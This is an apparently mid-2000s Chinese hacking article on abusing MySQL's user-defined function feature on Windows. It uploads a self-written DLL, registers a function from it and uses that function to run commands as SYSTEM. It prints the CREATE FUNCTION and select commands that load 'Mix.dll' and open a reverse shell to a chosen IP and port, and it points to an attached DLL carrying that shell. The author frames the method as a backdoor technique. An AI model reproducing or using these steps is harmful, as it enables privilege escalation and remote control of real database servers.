前段时间出了两个关于MySQL的漏洞《MySQL CREATE FUNCTION功能mysql.func表允许注入任意函数库漏洞》、《MySQL CREATE FUNCTION功能libc函数库允许执行任意代码漏洞》,仔细研究这两个漏洞后,可以得知MySQL的两大功能:
²第一:可以通过MySQL上传二进制文件,例如自己编写的UDF DLL;
²第二:可以通过注册UDF DLL中自写的Function而执行任意命令。
注意了,这里说的这两大功能都是MySQL自身的功能,而不是漏洞,本文的编写目的也不是研究上述两个漏洞,而是为了通过解析MySQL的自身功能实现在Windows环境下利用MySQL以SYSTEM身份执行系统命令的方法。
野史
通过MySQL上传二进制文件在漏洞公告以前,据笔者的了解国内是没有太多人知道的(PS:希望没有太多的西红柿和鸡蛋,呵呵),从当年在灰色轨迹论坛兴起对MySQL弱密码进行攻击到漏洞公告出现以前,都只是用MySQL来上传文本文件做WebShell或启动组的BAT、VBS等。
通过注册UDF DLL中自写的Function执行任意命令,这个技术是很早就有人知道,但是没有完全公开,作为后门的一种方法只在私下传播的(PS:同样希望没有太多的西红柿和鸡蛋,呵呵)。
笔者在去年2004年09月份写那个MySQL注射工具phprf的时候花了大半天的工夫已经把通过上传二进制文件的方法找到了,和漏洞公告中提到的方法有点如出一辙的感觉,而通过自写的UDF DLL执行任意命令这件事情却是最近才知道。漏洞公告出来以后,花了2、3个小时找了找UDF DLL的资料自己写了个DLL、再测试了一下,没有什么技术难点。另外,由于MySQL在Windows平台下都是以系统服务的形式启动的,而且很少有人修改其启动帐号,结合MySQL的这两大功能就能够利用MySQL以SYSTEM身份执行系统命令了。
上传二进制文件
下面通过两个表格来说明漏洞公告中的上传方法和笔者自己研究的上传方法。
表1 漏洞公告的上传方法
表2 笔者的上传方法
两个表格中的二进制数据就是自己编写的那个UDF DLL的二进制数据。
漏洞公告中的上传方法是需要在PHP程序中实现的,手工使用MySQL客户端登陆则无法实现,而笔者的上传方法可以通过MySQL客户端登陆手工实现,谁优谁劣就不用讨论了,两个方法综合一下效果更好。
注册Function执行命令
想要自己编写UDF DLL的同志们,最简单的方法是下载MySQL的源代码,里面有个udf_example,下面笔者只做一些简单介绍了:
extern "C" {…}//定义Function的函数,一个规范的Function至少有三个函数
Mix()//必需的主函数,用于处理该Function的事务流,反连的代码就写在这个里面
Mix_init()//可选,初始化函数,一般用作检查用户输入的参数
Mix_deinit()//可选,当Function退出时做后期处理
附件中带了一个笔者的DLL,操作后可以反连回来一个Shell。在MySQL客户端中需要执行的命令是:
CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C://Winnt//Mix.dll';/*注意修改文件地址
select Mixconnect('127.0.0.1','886');/*注意修改反连回来的IP地址和端口号
附件
该DLL中的反连Shell部分使用的公开源代码改编而成,所以如果被杀毒软件查杀请不必怀疑。该DLL仅供测试,测试造成的后果笔者和幻影旅团概不负责!